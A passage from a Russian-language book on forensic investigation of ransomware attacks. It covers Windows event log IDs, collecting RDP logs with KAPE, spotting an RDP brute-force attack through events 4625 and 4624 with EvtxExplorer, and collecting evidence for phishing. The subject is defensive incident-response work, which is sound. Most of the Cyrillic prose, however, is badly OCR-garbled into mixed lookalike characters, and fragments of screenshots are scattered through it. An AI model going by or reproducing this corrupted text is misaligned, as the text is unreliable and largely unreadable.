Puc. 7.15. ®aiin peectpa SYSTEM u3 padoTtaroiiei cucteMsl, OTKpBITEIN B Registry Explorer

CToHUT YIIOMSHYTH €III¢ OJIMH OTIMYHBIM MHCTPYMEHT IS aHaln3a peectpa — RegRipper
(https://github.com/keydet89/RegRipper3.0) Xapnana Kapsu. Ects Bepcuu ¢ rpadudaecknm UHTEpHEHCOM H
KOMaHIHOM CTPOKOM, a TaK)Ke pa3IuyHbIC IUIATMHBI 1)1 aHaau3a apTedakToB peecTpa. JlomoIHUTEIbHBIC
TIJIarMHBI BBl MOJKETE HAIIMCATh CAMOCTOSTEIIBHO.

Ciieayromnuil eHHbINM HCTOYHHUK U(PPOBBIX KPUMHUHAIMCTHUECKUX apTe(PaKTOB — >KypHajbl cCOObITHM Windows.

KypHasibl coobiTU Windows

Benenue xxypHalla — 3TO BCTPOCHHBIM MEXaHU3M JOKYMEHTUPOBAHUS PA3IUYHBIX COOBITHUI, CBSI3aHHBIX C
onepanoHHoN cuctemor Windows M pa3InyHbIMUA TPWIOKEHUAMU. OH TaKKe MOXKET ObITh YPE3BbIYAHO
[IEHHBIM HCTOYHUKOM YJIHK, CBSI3aHHBIX C aTaKaMH C MCIOJIb30BaHUEM ITPOrPpaMM-BbIMOTaTEIICH.

I/IHOI‘I[a S3JIOYMBIINUICHHHUKH YAAJISIFOT TAKHUC KYPHAJIBI, YTOOBI 3aMECTH CJICAbI, 1 OJHO 9TO MOJKCT IIOCIY’KUTb
HAJICKHBIM IIPU3HAKOM TOI'O, YTO XOCT OBLI CKOMIIPOMCTHPOBAH.

[To ymomrganuto daiiel )KypHaia pacroiaoxeHsl B manke C\Windows\System32\winevt\Logs u umerot
pacuimpeHue .evix.

Kypnansl coobiTiii Windows Takke MOKHO coouparth ¢ moMolpio SIEM (BaxkHO IpOBEPUTH, YTO
3alIUCHIBAIOTCS MPaBUIbHBIC )KypHaibl) WK pemieHuss EDR/XDR.



¥ Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.e... 68 RegularFile 02.11.2021 18:06:35
& Microsoft-Windows-TaskScheduler¥%4Maintenance.evtx 1028 RegularFile 02.11.2021 18:23:29
8 Microsoft-Windows-TWinUI%4Operational.evtx 68 RegularFile 04.11.2021 8:31:06

& Microsoft-Windows-Resource-Exhaustion-Resolver%40perational.evix 68 Regular File 04.11.2021 9:05:00

& Microsoft-Windows-Time-Service%4Operational.evix 1028 RegqularFile 04.11.2021 12:18:.09
& Microsoft-Windows-LanguagePackSetup%40perational.evtx 1028 RegularFile 04.11.2021 12:19:03
& Microsoft-Windows-WFP%40perational.evtx 1028 RegqularFile 04.11.2021 12:19:08
& Microsoft-Windows-Kernel-EventTracing%4Admin.evtx 1028 RegularFile 04.11.2021 12:28:01
& Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx 68 Regular File 04.11.2021 12:33:01
¥ Microsoft-Windows-Audio%4Operational.evtx 68 RegularFile 04.11.2021 17:54:29
& Microsoft-Windows-Audio%4PlaybackManager.evtx 1028 RegqularFile 04.11.2021 17:55:29
8 Microsoft-Windows-WPD-MTPClassDriver%40Operational.evtx 1028 RegularFile 04.11.2021 18:08:18
& Microsoft-Windows-Ntfs%40Operational.evtx 154.. RegularFile 04.11.202121:41:42
OAlerts.evtx 68 RegularFile 05.11.2021 10:20:29
8 Microsoft-Windows-Diagnosis-Scheduled%40perational.evtx 1028 RegularFile 05.11.2021 18:49:47
¥ Microsoft-Windows-TZSync%40perational.evtx 68 RegularFile 05.11.2021 18:49:47
& Microsoft-Windows-Diagnosis-Scripted%40perational.evtx 1028 RegularFile 05.11.2021 18:19:17
# Microsoft-Windows-Diagnosis-Scripted%4Admin.evtx 68 RegularFile 05.11.2021 18:49:48
¥ Microsoft-Windows-StorageSpaces-Driver%40perational.evtx 1028 RegqularFile 06.11.2021 12:07:54
& OneApp_IGCC.evtx 1028 RegularFile 06.11.2021 17:29:36
& Security.evtx 204.. RegularFile 07.11.2021 6:32:08

# Cisco AnyConnect Secure Mobility Client.evtx 3908 Regular File 07.11.2021 6:32:16

& System.evtx 123.. RegularFile 07.11.2021 6:32:18

Application.evtx 18 5.. RegularFile 07.11.2021 7:43:35

Puc. 7.16. @aiinbl xxypHana coosiTud Windows, niepeunciennbie B AccessData FTK Imager
JlaBaiiTe MOCMOTPUM Ha HEKOTOPBIE YACTO MCHOIB3YEMBIE (DAMIIBI KYPHAIOB U UICHTU(PHUKATOPHI COOBITHUH.

. be3onacHoOCTb
- 4624 — npounsseneH Bxo4 B CUCTEMY.
- 4625 — Heyaga4yHasA NonbITKA BXOAA B CUCTEMY.
- 4720 — co3aaHa y4eTHaA 3anucb Noab3oBaTenA.
- 4732 — B IOKA/NIbHYIO rpynny ¢ noaaepxKkon 6esonacHoctn AobaBaeH y4aCTHUK.
. Cnucrema
. 7045 — cny»xb6a bblna ycTaHOBNEHA CUCTEMOMN.
- 7040 — n“3meHeH TUN 3anycka Cay*Koobl.
- 7036 — cny»kba bblna ocTaHOBNEHA UM 3aMYLLLEHA.
. Windows PowerShell
- 400 — yKa3bIiBaeT Ha HA4Ya/10 BbINOJIHEHUA KOMaHAbl UM CeaHca.
. Microsoft-Windows-TerminalServices-LocalSessionManager/Operational
- 21 — BX0OA B CeaHC BbINOJIHEH yCMELHO.
. 24 — ceaHc npepBaH.
- 25 — B0306HOB/IEHME CEaHCa BbIMOJIHEHO YCMELUHO.
. OnoBeweHuA
- 300 — onoBeweHue, co3gaHHoe Microsoft Office.
. Microsoft-Windows-TaskScheduler/Operational
- 106 — 3annaHUpoBaHHOE 3a4aHMe CO34aHO0.
- 200 — 3annaHUpOBaHHOE 3a4aHKMe 3anyLleHo.
- 201 — 3annaHUpoBaHHOeE 3a4aHKNEe BbINOJIHEHO.
. Microsoft-Windows-Windows-Defender/Operational
- 1117 — nnatdopma AnA 3aWUTbl OT BPeAOHOCHbIX MPOrpaMmm BbINOJHWUAQ AENCTBME ANA 3aWNTbI Balleu
CUCTEMbI OT BPEAOHOCHOIO WX APYroro HeXxenaTesibHOro nporpaMmmHoro obecnevyerHms.

ITO He I/IC‘IepHBIBaIOHII/Iﬁ CIIMCOK, HO Aa’KC B HCM MbI BUIHUM JOBOJIbHO MHOI'O ITIOJIC3HBIX CO6BITHﬁ, KOTOPBIC
MOI'YT IIOMOYb 1IPHU PCAI'MPOBAHNHN HA HHITUACHTHI.

CoOrITHs, npoucxoadinue B cpeae Windows, GDMKCUPYET HE TOJILKO KypHall cOObITU Windows — e€CTh U
ApyTHUE )KypHAJIbl, KOTOPbIC MOTYT IIPEACTABIIATh IJISI HAC MHTEPEC.

Apyrue >XypHaJibl

B 3akmntoueHue IEPCUNCINM HCCKOJIbKO JOIIOJHUTCIIbHBIX KYPHAJIOB, KOTOPbLIC MOI'YT ChII'PATh K/IIFOUYCBYIO POJIb B
BallICM pacCCICJOBaAHHUU.



. "KypHanbl aHTuBMpycHoro MO. KaK Bbl yXKe 3HaeTe, onepaTopbl NPOrpamm-BbiMoratenem moryT
MCNONb30BaTb MHOIMO MHCTPYMEHTOB — a 3Ha4uT, XOTA Bbl HEKOTOpPbIE U3 HUX ByayT OOHapy*KeHbI
aHTUBUPYCHbIM NporpammHbiMm obecnevyeHmnem. HypHanbl aHTUBMPYCHOro MO moryT 6biTb KpanHe nonesHbl.

. *KypHanbl bpaHaMayapa. ITU XKypHaabl MOTYT CTaTb MCTOYHMKOM LLEHHOW MHPOPMALMMN O CETEBDIX
NOAKNOYEHUAX, BKAOYAA NPOHUKHOBEHMA. ITO Ype3BbIYAMHO LEHHbIM UCTOYHUK KPUMUHANNCTUYECKMX
AAHHbIX, 0COBEHHO eCcnn AaHHblIE XPaHATCA B TeYEHME AO0NTOro BPEMEHU U Y BaC €CTb XOTA bbl Kakue-To
ceTeBble MHAWKATOPbl KOMMPOMeTaLUUMN.

. "KypHanbl VPN. VPN — oaAnH 13 nonNynapHbIX Ha4aibHbIX BEKTOPOB AOCTYMNa K CeTu, N03TOMY XKypHanbl VPN
TAKXe MOryT PacKpbiBaTb HEKOTOPYH MHPOPMALMIO O CETEBOU MHPPACTPYKTYPE 310YMbILLUNEHHMKOB. O4eHb
nosie3Ho npomn3BectTn aHanus GeolP (reonoKaunm) — Bbl MoXKeTe 0OHaPYKUTb NOAKAOYEHUA U3 CTPAH, HE
MMEIOLMX OTHOLLIEHNA K KOMMaHUMN.

. 'KypHanbl NpoKcu-cepsepa. Ecamy Bac ecTb ceteBble MHAUKATOPbI UM Bbl MPOCTO XOTUTE OTCNeAUTb
aHOManbHble cobbITUA, NPOBEPbLTE, AOCTYNEH 1N NPOKCU-CEPBEP.

. "KypHanbi Beb-cepBepa. Ecnm Bbl nogo3peBaeTe, YTO onepaTopbl NPOrpamMmbl-BbiIMOraTesii MCNOAb30Ba/U
AN NepPBOHAa4YaIbHOroO 3aKpennenma seb-wenn, yoeamtecb, YTO Bbl MPOBEPUNMU XKYPHaNbl Beb-cepBepa.

. "KypHanbl no4TOBbIX CepBEPOB. [ToYTOBbIE CEPBEPDLI TOXKE MOTYT ObITb YA3BMMbI: BCMOMHUTE rPYNNUPOBKY
Conti, KoTopaa ncnonv3oBana ProxyLogon ana nonyvyeHma nepBoHavaibHOro AocTyna. Bot nouemy
YKYPHabl MOYTOBOrO CepBepa MOryT OKa3aTbCA BeCbMa NOJIe3HbIMM.

Tenepp Bbl HEMIOXO pa30UpPACTECh B PA3IMUHBIX HCTOYHUKAX [U(MPOBBIX KPUMHUHAIMCTHYCCKUX apTe(aKTOB U
TOTOBBI IEPEUTU K CAMOU MHTEPECHOU YaCTU — PACCIECIOBAHUIO.

BBIBO ABI

B »3Tol ritaBe Mbl 00CYAUIIN HAaM0O0JIe€ PaCIPOCTPAHCHHBIE HCTOYHUKH ITU(POBBIX KPUMHUHATIUCTAYECKUX
apTe(aKkTOB, KOTOPbIE MOT'YT IOMOYb CIy>KOaM pearnpoBaHUs Ha MHIUMJICHTHI B PACCICIOBAHUU aTaK C
HCII0JIb30BAHUEM MIPOTPAMM-BBIMOTATEIIEN.

MBI paccMoTpes HanOoJjee MOMyJIIPHbIE HCTOYHUKHU apTe(akToB (halJIOBOM CUCTEMBI, PEECTP, Pa3INYHbIC
KYPHAIbI, @ TAK)KE Y3HAIHU, KaK MMOJIydaTh JaHHBIEC U3 YHEPro3aBUCUMOM U YHEPrOHE3aBUCUMOM ITaMSTH U Kak
npeoOpa3oBaTh COOpPaHHBIC JAHHBIE B YIOOHBIA (hDOpMAaT IS YIIIyOJICHHOIO0 KpUMHUHATUCTUYECKOrO aHaI13a.

Teneppb BBl TOTOBBI IPUCTYIUTh K 00J1€€ MPAKTUYECKUM 3a/1a4aM — PEKOHCTPYKIIUHU PEATbHBIX aTaK C
MCIOJIb30BaHUEM ITPOTrPaMM-BBIMOTATENICH MO PA3IMYHBIM [U(PPOBHIM KPUMHUHAIMCTUYECKUM apTedaKkTam.

B ciienyronien riaBe Mbl paCCMOTPUM HECKOJILKO CLIEHAPUEB MEPBOHAYAIIBHOTO JOCTYIIA U BOCIOJIb3YEMCH
MOJY4YCHHBIMHU 3HAHUSIMH, YTOOBI ITOHATh, KaK B3JIOMIIIMKHA CMOTJIM ITOJYYUTh IEPBOHAYAIBHBIN TOCTYI U
MEPEUTH K MOCTIKCILTYaTAIUH.

[naBa 8

METO/IbI
NEPBOHAYAJILHOI'O
TOCTYIA

B riaBe 7 Mbl pacCMOTpEIIM pa3IndyHbIe HCTOUYHUKHU [UQPPOBBIX KPUMHUHATUCTUYECKUX apTe(aKTOB, JOCTYITHbIC B
onepainoHHbIX cucteMax Windows. Ilopa nepelTu Kk aHajanu3y KOHKPETHBIX MPUMEPOB, YTOOBI Y3HATh, KaK 3TH



apTe(dakTbl MOKHO HMCIIOJIb30BATh A1 PEKOHCTPYKIIMHU )KU3HEHHOIO IIMKJIA aTaK ¢ MCHOJIb30BAHUEM MPOrPaAMM-
BBIMOTaTEJICH.

HauneMm ¢ mouncka ciesoB Hanbosiee pacupoOCTPAHEHHBIX METOAOB IMEPBOHAYATIBHOTO JTOCTYITA —
3JI0YMOTPEOJICHUSI BHEIITHUMH CIY>KOaMHU yIAJIEHHOIO JOCTYyNa U (DUIITAHTA.

B3510M BHEIIHUX CITY>KO YAAJIEHHOTO AOCTYIIa, 0COOEHHO 00IEI0CTYHBIX cepBepoB RDP, upe3BbruaitHo
nonyJisipeH. bosiee 50% ycnenmHpIx aTak HAUMHAIOTCS C MPOHUKHOBEHHUS HA TAKHUE CEPBEPBI METOI0M IpyOou
CUJIBI.

[TouTH TO € caMOe MOXKHO CKa3aTh U O (PUIITMHI€ — MPEIBECTHUKAMU aTaK C UCHOJIb30BAHUEM MPOTrPaMM-
BBIMOT'ATEJIEH SBJISIFOTCS PA3JIMYHBIE OOTHI, KOTOPBIE BO MHOKECTBE PACIIPOCTPAHSIIOTCS YEPE3 IIEKTPOHHYIO
MOYTY U COLIMAJIbHBIC CETH.

B 3TOM rsiaBe Mbl paCCMOTPHUM ABa CJIy4as,
OCHOBAHHBIX HA CLleHAPUSAX peaIbHbIX aTaK. MbI
006CyaAUM CJeAYIIIHUEe TEMBbI:

Cbop AaHHbIX (YIMK) AnA paccneaoBaHUA B3/IOMA BHELIHUX CAY»KO yaaneHHoOro Aoctyna.
PacchepoBaHune atakm Ha RDP metogom rpybowu cunbi.

Cbop ynuK ana paccnegoBaHnAa PULLINHIOBOM aTaKMW.

PaccnepoBaHne GULLMHIOBOM aTaKMW.

Co6o0p AaHHBIX (V/JIMK) A4 pacc/jieJ0BaHUA B3JIOMa
BHELIHUX CJY>KO0 yAaJIeHHOI0 AOCTyIIa

J171 TOro 4TOOBI BBISIBUTH HAYaJIbHBIM BEKTOP B3JI0Ma, B IEPBYIO OYEPE/Ib HY)KHO COOpaTh COOTBETCTBYIOIIUE
JAHHbBIE. 3a4aCTYI0 Y MOEH KOMAaH/bI YK€ €CTh KPATKHUU CIIUCOK BO3MOXKHBIX METOA0B IIPOHUKHOBEHHUS,
COCTaBJICHHBIM Ha OCHOBE HAOJI0IaEMOr0 NOBEACHUS 3JI0OYMBbIlIIeHHUKA. [IpaBaa, B pealibHBIX pacciieOBAHUAX
MBI, KaK MPaBUJIO, BBISICHIEM JICTAJIM MCIIOJIb3YEMOI0 METO/Ia IEPBOHAYAIBHOI0O JOCTYNA OJIMKE K KOHITY
aHaJIN3a, IMMOCKOJIbKY HAUMHATh OOBIYHO MPUXOJUTCS C OJHOTO M3 3allIM(PPOBAHHBIX XOCTOB U JIMKBUIALIUU
nocieAacTBuii. Ho B 3To# 1 cieayromux riaBax Mbl Oy/IeM MCKATh YJIWKHM IIar 3a IaroM, Kak €cjiiyu Obl Mbl
MIPOCIICKUBAIIN )KU3HEHHBIN IIUKJI ATAKU C UCIIOJIb30BAHUEM MIPOTPAMMBI-BBIMOTATENSI OT Havalia J10 KOHua. B
CBOMX PEaJIbHBIX PacCiI€JOBAHUSIX Bl BCErJla MOKETE BBHIIIOJHUTH T€ )K€ IIard aHajan3a B 00OpaTHOM IIOPSIIKE.

Bo MHOTMX MHIIUACHTAX, CBSI3aHHBIX C IIpOrpaMMaMHU-BbIMOraTeIsIMH, Y JKEPTB HE ObLJIM YCTAaHOBJICHBI
pacIIUpPEHHbBIC TPOAYKThI O€30IMACHOCTH, IIOATOMY Mbl COCPEAOTOUMMCS Ha MOAX0AaX U YJIMKaX, JOCTYITHbBIX
[IOYTH BCET/A.

B ananu3 3710ynoTpe0IeHUil BHEIIHUMHM CIYKOaMHU yJIaJICeHHOTO JOCTYNa OOBIYHO BXOAUT aHAINU3 KYPHAIOB. DTO
MOT'YT OBITh KypHaJbl OpaHaMayspa, >kypHaiibl VPN uau gaiie Bcero xypHaiibl coObITui Windows, 0COOEHHO
€CJIM peub uaeT o B3jaomMe RDP.

3a0aBHO, YTO BO MHOTHX CJIy4asiX, KOIJlJa Mbl IIOYTH YBEPEHBI, YTO aTaka HauYMHaJIach CO B3JI0Ma
obmenoctynHoro RDP-cepBepa, U'T-koMaH1a KiMeHTa MbITaeTcsad YOSAUTh HAC, UTO TAKUX CEPBEPOB B
OpraHHU3alliy HET, — XOTS U3 IIpaBUJ OpaHaMay3pa OYEBHUJIHO, YTO TAKOM CEpBEP €CTh WIIM HEJABHO OBLI
(mpaBUJIO TOJIBLKO 4TO yaajieHo). MHorna MT-komaHaa X04UeT YCI0KHUTh BaM paO0Ty U CKPBITh YIUKH, IIOTOMY
4YTO BaXKHYIO POJIb BO MHOTHX MHIMACHTAX UIPACT YEJIOBEUECKUM (PAKTOp — T€, KTO CJieal aTaKy BO3MOKHOM,
IIPOCTO HE XOTHAT, YTOOBI UX MONMAJIH.

[T0CKOJIBKY MBI PEIIMIIN COCPEAOTOYNTHLCS Ha IMTONYJISIPHBIX U, UTO BaKHEE, OSCIIATHBIX HHCTPYMEHTAX,
BOCIIOJIb3yeMcCs s cOopa gaHHBIX cpeactsoM KAPE.



Ecnu BBl yKe HASHTU(PUIIMPOBAIN CEPBEP, BbI MOXKETE MPOCTO HOAKIIOUYUTH K HEMY BHEIIHUN JUCK U 3aITyCTUTh
Bepcuto KAPE ¢ rpadguueckum naTEpdheiicoM, 4TOOBI BEIOPATh MHTEPECYIOIINE BAC OOBEKTHI U HAYaTh COOP
JTAHHBIX.

Use Target options
— Target options
Target source w7y -
Target destination |D:\ v||wo| [JFlush [ ]Add %d [~]Add %m
Targets (Double-dick to edit a target)
MoMecTUTe COaa 3aroNoBOK KONOHKM ANS MPYNIMMPOBKM MO 3TON KONOHKE p
¥ | Folder Description
aQc o0c A
‘Windows Collect Win7+ RDP relate...
Windows RDP Cache Files >
KoHCTPYKTOP dunnTpa...

Container |@None OVHDX OwD OZp

Base name -
|| | Zip container Transfer
Target variables = Transfer options
Target variables Key =
Value v
E Add

Puc. 8.1. Coop xxypHanoB coobiTuii Windows, cBsizanabix ¢ RDP, ¢ momonipio KAPE

Kak BuaHo Ha pucyHke 8.1, B KAPE ecTb roToBBIN HA0OP HACTPOEK JJ1s1 COOpa KypHAJIOB, CBsi3aHHBIX ¢ RDP.
PucyHok 8.2 moka3bpIBaeT, KaKUe MMEHHO (Paiiibl )KypHAIOB COOMPAET JTaHHBIM HHCTPYMEHT.

Takum 00pa3zoM, Mbl MOXKEM IOJYUYUTh CIACIYIOLINE (PaiIb:

. System.evtx

. Security.evtx

. Microsoft-Windows-TerminalServices-LocalSessionManager%40Operational.evtx

. Microsoft-Windows-TerminalServices-RemoteConnectionManager%4QOperational.evtx

3 Editor: EventLogs-RDP - DO X
Targets: n

Name: Event logs Win7+

Category: EventLogs

Path: C:\Windows\System32\winevtlogs\
FileMask: System.evix

Name: Event logs Win7+

Category: EventLogs

Path: C:\Windows.old\Windows\System32\winevt\logs\
FileMask: System evix

Name: Event logs Win7+

Category: EventLogs

Path: C:\Windows\System32\winevtliogs\
FileMask: Security evix

Name: Event logs Win7+

Category: EventLogs

Path: C:\Windows. old\Windows\System32\winevtilogs\
FileMask: Security.evix

Name: Event logs Win7+

Category: EventLogs

Path: C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager
%40perational evix

FileMask: Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational evix

Name: Event logs Win7+

Category: EventLogs

Path: C:\Windows\System32\winevt\Logs\

FileMask: Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx

v

[@ oo | B e Boms

Puc. 8.2. ®@aiinsl )xypHajioB coObiTuii Windows, cooupaemsie 115 Hadbopa EventLogs-RDP



Eciu cepBepoB HECKOIBKO WJIH Bbl HE YBEPEHBI, KAKOM M3 HUX BbIOpaTh, puroautcs sepcus KAPE s
KOMAaHJIHOM CTPOKH. BBl MOKeTE MMOMECTUTH €€, HaIpruMep, Ha OOIUM CETEBOM AUCK U OJHOBPEMEHHO COOHUPATh
JAHHBIE C HECKOJILKUX XOCTOB, HCIIOJIb3YS IPYHIIOBYIO NOJUTHKY JIJIS 3allyCKa MaKeTHOTro (auia.

PacciiegoBaHue ataku Ha RDP meToaoMm rpyoou
CUJIBI

Wrtak, Mbl ntos1yuniu ¢ nomoinsio KAPE Heckobko (haiyioB )KypHaI0B COOBITHH WIindows JJIsl JaJIbHEHIIIETO
aHaJIM3a C cepBepa, KOTOPBIM NPEANOI0KUTEILHO ObLI B3JIOMaH B Pe3yJIbTaTe aTaKd METOJ0M Iiepedopa
napoJei. JlaBalite cocpemoTounmMcs Ha daitiae Security.evtX, Tak KaKk OH COASPKUT MHOTO 3aIIHCEH, ITOIXOISAIIIX
U1 TakuX paccieaoBanuii. Huke npuBeieHbI JBa OCHOBHBIX HACHTH()UKATOPA COOBITHM, MOJE3HbIX /IS aHAJIM3a
atakn Ha RDP MeTonom rpy0oii CHJIBI.

. 4624 — npounsseneH BXoa B CUCTEMY.
. 4625 — Heypga4HaA NonbiTKa BXO4a B CUCTEMY.

BTopoe coObITHE TOMOKET HaM BBISIBUTH MONBITKH B3JI0MA, a IIEPBOE — CJIy4ad YCIIEHUIHOTO BXOJIa B CUCTEMY.

Bo3M0XHO, BaM CTOUT 003aBECTHUCH CITPABOYHUKOM MO UJICHTH(UKATOpAM COOBITHM, YTOOBI 3HATh, HA YTO
oOpaiiiaTh BHUMaHHE MIPU PACCIICJOBAHUN UHIIUICHTA TOrO UM UHOTO THUIIA.

JlaBaiiTe TOCMOTPUM Ha COOpaHHBIC KypHAJIbl COOBITHM. [[JIs1 HaYajia IpOBEpUM, UMEIOTCS JIM COOBITHS C

ID 4625. 31ech s Xx0uy IMO3HAKOMUTH Bac C €I¢ OJJHUM HHCTPYMEHTOM U3 KOJIJIeKIuKU Dpuka [lummMepmana —
EvtxEXxplorer. Bel MOkeTe HCTIOJIB30BaTh €T0 JIJIs aHalini3a (haiyIioB )KypHAJI0B COOBITHI U COXPAaHCHUS JTAHHBIX B
(dbopmare, npurogHoM s ureHust, HarpuMmep CSV. CreHeprupoBaHHbI€ (haijibl YI0OHO aHAIM3UPOBATH C

nomonpbio Timeline Explorer.

‘Time Created A|Event 1d |Level lProvider ‘Channel
- - O e O
2021-03-02 @8:42:25 = 4625 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 08:42:25 4625 LogAlways Microsoft-Windows-Security-Auditing ‘Security
2021-03-02 ©8:42:25 4625 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 08:42:27 4625 LogAlways Microsoft-Windows-Security-Auditing  Security
2021-03-02 08:42:30 4625'LogAlways.Microsoft-Nindous-Security-Auditing 'Security
2021-03-02 ©8:42:31 4625 LogAlways Microsoft-Windows-Security-Auditing ‘Security
2021-03-02 ©8:42:32 - 4625.LogAlways-Microsoft-windous-Security~Auditing .Security
2021-03-02 08:42:32 4625.LogAlways'Hicrosoft-Hindous-Security-Auditing .Security
2021-03-02 ©8:42:33 4625 LogAlways Microsoft-Windows-Security-Auditing 'Security
2021-03-02 08:42:35 A 4625.LogAluays'Microsoft-windous-Security-Auditing 'Security
2021-03-02 08:42:35 4625.LogA1ways Microsoft-Windows-Security-Auditing Security
2021-03-02 08:42:37 4625 LogAlways Microsoft-Windows-Security-Auditing ‘Security
2021-03-02 ©8:42:39 . 4625‘LogAlways.Microsoft-Nindous-Security-Auditing .Security
2021-03-02 08:42:39 4625.LogAlways'Microsoft-windous-Security—Auditing ‘Security
2021-03-02 ©8:42:40 . 4525‘LogAlwaysAMicrosoft-Nindous-Security-Auditing .Security
2021-03-02 ©8:42:41 4625lLogA1uays Microsoft-Windows-Security-Auditing .Security
2021-03-02 ©08:42:42 4625'LogA1ways Microsoft-Windows-Security-Auditing Security
2021-03-02 08:42:43 4625.LogAluays'Microsoft-ﬂindous-Security-Auditing ‘Security
2021-03-02 ©8:42:44 4625lLogAluays‘Microsoft-Windous-Security-Auditing Security
2021-03-02 08:42:45 4625 LogAlways Microsoft-Windows-Security-Auditing ‘Security
12021-03-02 ©8:42:45 4625iLogAlways;Microsoft-Nindous-Security-Auditing 'Security

Puc. 8.3. CoObitus ¢ ID 4625, uzBinedeHnsie ¢ noMoipio EvitxExplorer

MbI1 nonyuuiu 196 378 coObiTuii ¢ uaeHTU(GUKATOpOM 4625 — 3TO 03HAYAET, YTO HA JJAHHBIN CEpPBEP ObLIA
IIPOM3BEACHA aTaka MyTeM MOJIHOTo nepedopa naposieii. Ho Obina au oHa ycnenrHoi? YTtoOsl pazooparhces,
HY>KHO U3y4MTh COOBITHS ¢ uaeHTU(PuKaTopoM 4624 (puc. 8.4).



Time Created ~ [Event Id Level Provider Channel
- - o e [
2021-03-02 89:11:35 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 ©9:12:35 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 ©09:12:43 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 ©09:12:43 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 09:13:23 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 ©9:13:23 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 ©9:13:23 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 09:13:23 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 09:13:35 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 ©09:14:35 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 ©9:15:20 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 99:15:25 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 ©9:15:26 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 09:15:35 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 09:16:19 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 09:16:29 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 09:16:35 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 09:16:41 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 09:17:35 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 ©09:17:43 4624 LogAlways Microsoft-Windows-Security-Auditing Security
2021-03-02 09:17:43 4624 LogAlways Microsoft-Windows-Security-Auditing Security

Puc. 8.4. CoOniTus ¢ ID 4624, uzsiedueHnnsnie ¢ nomonpio EvixExplorer

Takux cOOBITHII MHOI'O, HO HAM HY>KHO COCPEIOTOUYMTHCS HA ABYX BEIlaX: HEOOBIYHBIX HCTOYHUKAX
MMOAKJIKOYEHUS U BXOJI€ B cUCTEMY nocpeacTBoM RDP, to ects ¢ Tunom 10.

Ecnu npuMenuTs QuibTp 1o tuity 10, ocTaHeTCs TOJABKO ABAa COObITHSA. O0a COEAMHEHUS OCYIIECTBIICHBI C
ogHoro u toro xe [P-anpeca — 185.191.32.164. IlonpoOyem y3HaTh 0 HEM OOJIBIIIC.

Nodes details

P Netname Hosts Location ASN

185.191.32.164 RU-ITRESHENIYA

ASS50340 3

Puc. 8.5. Uudopmanms o0 IP-anpece u3 rpacda Group-IB

Hcxons n3 coOpaHHOM MHPOPMAIIMH, Mbl MOKEM TOYHO UACHTU(PUIIUPOBATH BPEAOHOCHOE MOJKIIOYECHUE —
MCTOYHUK HaxoauTcs B Poccuu, a Takue MOAKIIOYEHHS a0COIIOTHO HE XapaKTEPHbI IS JAHHOU KEPTBHI.

M3 5)KypHaI0B MOKHO ITOJIYYHUTh U JOIMOJHUTEIbHYI0 HH(OPMALIMIO — HAIIPUMEP, O TOM, YTO 3JIOYMBIIIJICHHUKH
MCIIOJIb30BAIU JJIs1 BX0/1a B CUCTEMY YUYETHYIO 3aIIMCh JIMUHUCTPATOPA. Y UETHBIE 3aIIMCU C TAKUMHU
pacopoCTpaHEHHBIMA UMEHAMHU YaCTO CTAHOBSITCS KEPTBAMM aTak METOAOM I'pyOOM CHUIIBI.

Tenepp naBaiiTe MOUIEM UCTOYHUKM JAHHBIX JIJISI HCCIICIOBAHUS CIEIYIOIIEr0 METO1a IEPBOHAYAIILHOTO
I0CTyna — (PUILKHTA.

Co60p yJIHMK AJ14 paccjieA0BaHUsA PUINUHIOBOU
aTaKH

MBI yke 3HaeM, 4To Takue 00Thl, Kak Emotet, Trickbot u IcedID, — BecbMa pacnpocTpaHeHHbIE TPEIBECTHUKI

aTak MporpaMM-BbIMOIraTejeH, yrpaBiasieMbIX 4€10BeKOM. OOBIYHO OHU JOCTABJISIOTCS 110 AJIEKTPOHHOM MOYTE C
IIOMOIIbIO0 BpEeIOHOCHBIX JoKyMeHToB Office. B OonblIMHCTBE CiydaeB JJIsl TOrO, YTOOBI TPOSIH ObLIT 3arpy>KEH U
3allylleH, )KepPTBa JOIKHA BKIIIOUMTh MakpoChkl. KpoMe Toro, 3J10yMBINIJIEHHUKHA MOTYT MCIIOJIb30BaTh JJISl 3TOIO
ySI3BUMOCTH B IPOIPaMMHOM OO€ECIICUCHMHU.

boThI OOBIYHO IPUMEHSIOTCS 15 MPOBEICHUS 0a30BOM pa3BEJIKU M ITOJATOTOBKH K MOCTIKCILTyaTallud —
HampuMep, IJIsl JOCTaBKHU JOIOJHUTEIbLHBIX HHCTPYMEHTOB, Takux kak Cobalt Strike Beacon.

M1 yxxe HeMHoro rmopabotanu ¢ KAPE, moatomy Teneps Bocnosib3yeMcst IpyTuM HHCTpyMEHTOM — Live
Response Collection.



DTO CPEJICTBO €1IE MPOIIE B UCIIOJb30BAHNUM: HY>KHO BCETO JIMIIb 3aMYCTUTh €r0 C BHEIIHETO WJIM CETEBOIO JUCKA
M BBIOpATh PEKUM PaOOTHI.

